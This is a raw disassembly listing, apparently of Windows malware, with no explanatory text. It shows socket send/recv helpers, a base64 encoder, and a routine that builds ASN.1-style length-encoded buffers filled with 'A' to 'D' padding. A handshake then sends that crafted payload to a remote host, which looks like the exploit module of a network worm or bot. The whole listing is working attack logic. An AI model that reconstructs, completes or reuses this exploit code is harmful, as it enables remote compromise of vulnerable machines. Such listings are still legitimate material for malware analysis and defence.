loc_40D015:				; CODE XREF: sub_40CF86+98j
		cmp	[ebp+var_8], edi
		jnz	short loc_40D020
		push	32h
		call	esi	; Sleep
		jmp	short loc_40D015
; ---------------------------------------------------------------------------

loc_40D020:				; CODE XREF: sub_40CF86+8Dj
					; sub_40CF86+92j
		push	[ebp+arg_0]
		call	ds:dword_4F533C	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40D047
		inc	[ebp+var_2C]
		jmp	loc_40CFB4
; ---------------------------------------------------------------------------

loc_40D047:				; CODE XREF: sub_40CF86+B7j
		push	[ebp+var_1C]
		call	dword_4E3184	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_448B34 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_B0]	; int
		call	sub_409D34
		push	[ebp+var_20]
		call	sub_40BA72
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40CF86	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D093	proc near		; CODE XREF: sub_40D335+Ep
					; sub_40D335+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40D093	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	dword ptr [ebp+8]
		call	_strlen
		pop	ecx
		push	eax
		lea	ecx, [ebp-8]
		push	dword ptr [ebp+8]
		call	sub_40D0CB
		mov	ecx, [eax]
		mov	[esi], ecx
		mov	eax, [eax+4]
		mov	[esi+4], eax
		mov	eax, esi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40D0CB(void	*Src,size_t Size)

sub_40D0CB	proc near		; CODE XREF: .text:0040D0B5p
					; sub_40D335+11Ep

Src		= dword	ptr  4
Size		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+Size]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx		; Size
		call	_malloc
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40D0FD
		push	ebx		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		push	ebx		; Size
		push	[esp+1Ch+Src]	; Src
		push	edi		; Dst
		call	_memcpy
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_40D0FD:				; CODE XREF: sub_40D0CB+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D0CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40D105(void	*Src,size_t Size,int,int)

sub_40D105	proc near		; CODE XREF: sub_40D1FF+18p
					; sub_40D279+16p ...

Src		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+Size]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi		; Size
		call	_malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40D151
		push	edi		; Size
		push	0		; Val
		push	esi		; Dst
		call	_memset
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	esi		; Dst
		call	_memcpy
		push	[ebp+arg_C]	; Size
		mov	eax, [ebp+Size]
		add	eax, esi
		push	[ebp+arg_8]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_40D151:				; CODE XREF: sub_40D105+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40D105	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D15A	proc near		; CODE XREF: sub_40D1FF+5Ep
					; sub_40D1FF+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40D16A
		push	eax		; Memory
		call	_free
		pop	ecx

loc_40D16A:				; CODE XREF: sub_40D15A+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40D15A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D173	proc near		; CODE XREF: sub_40D1FF+20p
					; sub_40D2DA+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40D1A0
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax		; Size
		call	_malloc
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40D1A4

loc_40D1A0:				; CODE XREF: sub_40D173+Dj
		xor	al, al
		jmp	short loc_40D1FB
; ---------------------------------------------------------------------------

loc_40D1A4:				; CODE XREF: sub_40D173+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40D1C9
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40D1E3
; ---------------------------------------------------------------------------

loc_40D1C9:				; CODE XREF: sub_40D173+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4] ; Size
		lea	eax, [edi+3]
		push	dword ptr [esi]	; Src

loc_40D1E3:				; CODE XREF: sub_40D173+54j
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	dword ptr [esi]	; Memory
		call	_free
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_40D1FB:				; CODE XREF: sub_40D173+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D173	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1FF	proc near		; CODE XREF: sub_40D335+89p
					; sub_40D335+E3p ...

Src		= dword	ptr -8
Size		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+Src]
		push	dword ptr [esi+4] ; int
		push	dword ptr [esi]	; int
		push	1		; Size
		push	offset dword_4E5E2C ; Src
		call	sub_40D105
		lea	ecx, [ebp+Src]
		call	sub_40D173
		mov	eax, [ebp+Size]
		inc	eax
		push	eax		; Size
		call	_malloc
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40D239
		xor	al, al
		jmp	short loc_40D275
; ---------------------------------------------------------------------------

loc_40D239:				; CODE XREF: sub_40D1FF+34j
		mov	eax, [ebp+Size]
		inc	eax
		push	eax		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		mov	byte ptr [edi],	3
		push	[ebp+Size]	; Size
		lea	eax, [edi+1]
		push	[ebp+Src]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 18h
		mov	ecx, esi
		call	sub_40D15A
		mov	eax, [ebp+Size]
		lea	ecx, [ebp+Src]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40D15A
		mov	al, 1

loc_40D275:				; CODE XREF: sub_40D1FF+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40D1FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D279	proc near		; CODE XREF: sub_40D2AD+14p
					; sub_40D2CA+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]	; int
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]	; int
		push	dword ptr [esi+4] ; Size
		push	dword ptr [esi]	; Src
		call	sub_40D105
		mov	ecx, esi
		call	sub_40D15A
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40D279	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40D2AD(char	*Str)

sub_40D2AD	proc near		; CODE XREF: sub_40D335+F0p
					; sub_40D335+15Bp ...

Str		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+Str]	; Str
		call	_strlen
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+Str]
		call	sub_40D279
		pop	esi
		retn	4
sub_40D2AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D2CA	proc near		; CODE XREF: sub_40D316+Bp
					; sub_40D335+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40D279
		retn	8
sub_40D2CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2DA	proc near		; CODE XREF: sub_40D316+16p
					; sub_40D335+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40D173
		test	al, al
		jz	short loc_40D313
		push	dword ptr [esi+4] ; int
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]	; int
		push	1		; Size
		push	offset dword_448ECC ; Src
		call	sub_40D105
		mov	ecx, esi
		call	sub_40D15A
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_40D313:				; CODE XREF: sub_40D2DA+Fj
		pop	esi
		leave
		retn
sub_40D2DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D316	proc near		; CODE XREF: sub_40D335+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40D2CA
		test	al, al
		jz	short loc_40D331
		mov	ecx, esi
		call	sub_40D2DA

loc_40D331:				; CODE XREF: sub_40D316+12j
		pop	esi
		retn	8
sub_40D316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D335	proc near		; CODE XREF: sub_40DB0C+88p

Dst		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40D093
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D689
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D689
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40D093
		lea	ecx, [ebp+var_20]
		call	sub_40D093
		lea	ecx, [ebp+var_50]
		call	sub_40D093
		lea	ecx, [ebp+var_18]
		call	sub_40D093
		lea	ecx, [ebp+var_40]
		call	sub_40D093
		lea	ecx, [ebp+var_38]
		call	sub_40D093
		lea	ecx, [ebp+var_28]
		call	sub_40D093
		push	4
		push	offset dword_448B6C
		lea	ecx, [ebp+var_30]
		call	sub_40D279
		push	3
		push	offset dword_448B74
		lea	ecx, [ebp+var_30]
		call	sub_40D279
		lea	ecx, [ebp+var_30]
		call	sub_40D1FF
		lea	ecx, [ebp+var_30]
		call	sub_40D2DA
		mov	esi, 800h
		lea	eax, [ebp+Dst]
		push	esi		; Size
		push	42h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40D279
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40D279
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40D279
		lea	ecx, [ebp+var_20]
		call	sub_40D1FF
		push	offset dword_448ED0 ; Str
		lea	ecx, [ebp+var_50]
		call	sub_40D2AD
		lea	ecx, [ebp+var_50]
		call	sub_40D1FF
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	44h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		lea	ecx, [ebp+var_58]
		push	410h		; Size
		push	eax		; Src
		call	sub_40D0CB
		lea	ecx, [ebp+var_58]
		call	sub_40D1FF
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40D316
		lea	ecx, [ebp+var_58]
		call	sub_40D15A
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	43h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40D2AD
		push	4
		push	offset dword_448B78
		lea	ecx, [ebp+var_18]
		call	sub_40D279
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40D279
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+Dst]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40D279
		lea	ecx, [ebp+var_18]
		call	sub_40D1FF
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40D2CA
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40D2CA
		lea	ecx, [ebp+var_40]
		call	sub_40D2DA
		lea	ecx, [ebp+var_18]
		call	sub_40D15A
		lea	ecx, [ebp+var_50]
		call	sub_40D15A
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40D2CA
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40D2CA
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40D2CA
		lea	ecx, [ebp+var_38]
		call	sub_40D2DA
		lea	ecx, [ebp+var_20]
		call	sub_40D15A
		lea	ecx, [ebp+var_30]
		call	sub_40D15A
		lea	ecx, [ebp+var_40]
		call	sub_40D15A
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	41h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40D279
		lea	ecx, [ebp+var_28]
		call	sub_40D1FF
		push	2
		push	offset dword_448EE4
		lea	ecx, [ebp+var_28]
		call	sub_40D279
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40D2CA
		lea	ecx, [ebp+var_28]
		call	sub_40D2DA
		lea	ecx, [ebp+var_38]
		call	sub_40D15A
		lea	ecx, [ebp+var_10]
		call	sub_40D093
		lea	ecx, [ebp+var_8]
		call	sub_40D093
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40D2CA
		lea	ecx, [ebp+var_10]
		call	sub_40D173
		lea	ecx, [ebp+var_28]
		call	sub_40D15A
		push	offset dword_448EE8 ; Str
		lea	ecx, [ebp+var_8]
		call	sub_40D2AD
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40D2CA
		lea	ecx, [ebp+var_8]
		call	sub_40D173
		lea	ecx, [ebp+var_10]
		call	sub_40D15A
		push	offset dword_448EEC ; Str
		lea	ecx, [ebp+var_10]
		call	sub_40D2AD
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40D2CA
		lea	ecx, [ebp+var_10]
		call	sub_40D173
		lea	ecx, [ebp+var_8]
		call	sub_40D15A
		push	offset dword_448EF0 ; Str
		lea	ecx, [ebp+var_8]
		call	sub_40D2AD
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40D2CA
		lea	ecx, [ebp+var_8]
		call	sub_40D173
		lea	ecx, [ebp+var_10]
		call	sub_40D15A
		push	offset dword_448EFC ; Str
		lea	ecx, [ebp+var_48]
		call	sub_40D2AD
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40D2CA
		lea	ecx, [ebp+var_8]
		call	sub_40D15A
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D697
; ---------------------------------------------------------------------------

loc_40D689:				; CODE XREF: sub_40D335+1Bj
					; sub_40D335+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_40D697:				; CODE XREF: sub_40D335+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40D335	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D69B	proc near		; CODE XREF: sub_40D75F+A1p
					; sub_40D75F+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_4F5544	; select
		cmp	eax, edi
		jnz	short loc_40D702
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_43ABA2	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40D706

loc_40D702:				; CODE XREF: sub_40D69B+54j
		xor	eax, eax
		jmp	short loc_40D716
; ---------------------------------------------------------------------------

loc_40D706:				; CODE XREF: sub_40D69B+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4E3110	; recv

loc_40D716:				; CODE XREF: sub_40D69B+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D69B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D71A	proc near		; CODE XREF: sub_40D75F+81p
					; sub_40D75F+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4E30F4	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3148	; send
		cmp	eax, 4
		jz	short loc_40D744
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D744:				; CODE XREF: sub_40D71A+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4E3148	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D71A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40D75F(int,void *Src,size_t Size)

sub_40D75F	proc near		; CODE XREF: sub_40D839+48p
					; sub_40DB0C+15Bp

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Src		= dword	ptr  0Ch
Size		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+Size]
		lea	ebx, [edi+41h]
		push	ebx		; Size
		mov	[ebp+var_4], ebx
		call	_malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D788
		xor	al, al
		jmp	loc_40D834
; ---------------------------------------------------------------------------

loc_40D788:				; CODE XREF: sub_40D75F+20j
		push	ebx		; Size
		push	0		; Val
		push	esi		; Dst
		call	_memset
		push	2Fh		; Size
		push	offset dword_448C08 ; Src
		push	esi		; Dst
		call	_memcpy
		push	8		; Size
		lea	eax, [esi+31h]
		push	offset dword_448C38 ; Src
		push	eax		; Dst
		mov	[esi+2Fh], di
		call	_memcpy
		push	edi		; Size
		lea	ebx, [esi+3Bh]
		push	[ebp+Src]	; Src
		mov	[esi+39h], di
		push	ebx		; Dst
		call	_memcpy
		push	6		; Size
		add	ebx, edi
		push	offset dword_4E5E24 ; Src
		push	ebx		; Dst
		call	_memcpy
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_448B80
		push	ebx
		call	sub_40D71A
		add	esp, 48h
		test	al, al
		jnz	short loc_40D7F0

loc_40D7EC:				; CODE XREF: sub_40D75F+B5j
		xor	bl, bl
		jmp	short loc_40D82B
; ---------------------------------------------------------------------------

loc_40D7F0:				; CODE XREF: sub_40D75F+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D69B
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D71A
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D7EC
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D69B
		add	esp, 10h
		mov	bl, 1

loc_40D82B:				; CODE XREF: sub_40D75F+8Fj
		push	esi		; Memory
		call	_free
		pop	ecx
		mov	al, bl

loc_40D834:				; CODE XREF: sub_40D75F+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D75F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40D839(int,void *Src,size_t Size)

sub_40D839	proc near		; CODE XREF: sub_40DB0C+141p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
Src		= dword	ptr  0Ch
Size		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_448C44
		push	[ebp+arg_0]
		call	ds:dword_4F5540	; send
		cmp	eax, 48h
		jnz	short loc_40D874
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D69B
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D874
		cmp	[ebp+var_20], 82h
		jz	short loc_40D878

loc_40D874:				; CODE XREF: sub_40D839+1Bj
					; sub_40D839+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D878:				; CODE XREF: sub_40D839+39j
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	[ebp+arg_0]	; int
		call	sub_40D75F
		add	esp, 0Ch
		leave
		retn
sub_40D839	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D88B	proc near		; CODE XREF: sub_40D8D7+29p

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_43C470
		call	__ftol
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_43C468
		fstp	[esp+10h+var_10]
		call	_floor
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	__ftol
		inc	eax
		leave
		retn
sub_40D88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8D7	proc near		; CODE XREF: sub_40DA4E+23p

var_4C		= qword	ptr -4Ch
var_38		= byte ptr -38h
var_28		= qword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str		= dword	ptr  14h

		mov	eax, offset loc_43BA8F
		call	__EH_prolog
		sub	esp, 2Ch
		push	esi
		lea	eax, [ebp+var_D]
		push	edi
		xor	esi, esi
		push	eax
		lea	ecx, [ebp+var_38]
		mov	[ebp+var_20], esi
		call	sub_40DCD3
		push	1
		pop	edi
		push	[ebp+arg_8]
		mov	[ebp+var_4], edi
		call	sub_40D88B
		pop	ecx
		push	eax
		lea	ecx, [ebp+var_38]
		call	sub_40DDE8
		cmp	[ebp+arg_8], esi
		mov	[ebp+var_18], esi
		jbe	loc_40DA22
		push	ebx
		mov	ebx, [ebp+arg_8]

loc_40D91F:				; CODE XREF: sub_40D8D7+144j
		cmp	[ebp+arg_8], 3
		jb	short loc_40D92A
		push	3

loc_40D927:				; CODE XREF: sub_40D8D7+5Bj
		pop	ebx
		jmp	short loc_40D93B
; ---------------------------------------------------------------------------

loc_40D92A:				; CODE XREF: sub_40D8D7+4Cj
		cmp	[ebp+arg_8], 2
		jnz	short loc_40D934
		push	2
		jmp	short loc_40D927
; ---------------------------------------------------------------------------

loc_40D934:				; CODE XREF: sub_40D8D7+57j
		cmp	[ebp+arg_8], edi
		jnz	short loc_40D93B
		mov	ebx, edi

loc_40D93B:				; CODE XREF: sub_40D8D7+51j
					; sub_40D8D7+60j
		and	dword ptr [ebp+var_28+4], 0
		mov	dword ptr [ebp+var_28],	ebx
		fild	[ebp+var_28]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_43C478
		fstp	[esp+4Ch+var_4C]
		call	_ceil
		pop	ecx
		pop	ecx
		call	__ftol
		test	ebx, ebx
		mov	[ebp+var_1C], eax
		jbe	short loc_40D97C
		mov	esi, [ebp+arg_4]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp+var_10]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		push	1
		and	ecx, 3
		rep movsb
		pop	edi

loc_40D97C:				; CODE XREF: sub_40D8D7+8Aj
		mov	cl, [ebp+var_10]
		mov	dl, [ebp+var_10]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp+var_14], cl
		mov	cl, [ebp+var_F]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+arg_4], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp+var_F]
		mov	[ebp+var_13], cl
		mov	cl, [ebp+var_E]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+arg_8], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp+var_12], cl
		mov	cl, [ebp+var_E]
		and	cl, 3Fh
		test	eax, eax
		mov	[ebp+var_11], cl
		jbe	short loc_40D9E9
		add	[ebp+var_18], eax

loc_40D9CE:				; CODE XREF: sub_40D8D7+110j
		movsx	eax, [ebp+esi+var_14]
		lea	ecx, [ebp+var_38]
		mov	al, byte_448C90[eax]
		push	eax		; int
		push	edi		; Size
		call	sub_40DD68
		inc	esi
		cmp	esi, [ebp+var_1C]
		jb	short loc_40D9CE

loc_40D9E9:				; CODE XREF: sub_40D8D7+F2j
		cmp	[ebp+var_18], 48h
		jb	short loc_40D9FE
		push	[ebp+Str]	; Str
		lea	ecx, [ebp+var_38]
		call	sub_40DD40
		and	[ebp+var_18], 0

loc_40D9FE:				; CODE XREF: sub_40D8D7+116j
		push	4
		pop	esi
		cmp	[ebp+var_1C], esi
		jnb	short loc_40DA17
		sub	esi, [ebp+var_1C]

loc_40DA09:				; CODE XREF: sub_40D8D7+13Ej
		push	3Dh		; int
		push	edi		; Size
		lea	ecx, [ebp+var_38]
		call	sub_40DD68
		dec	esi
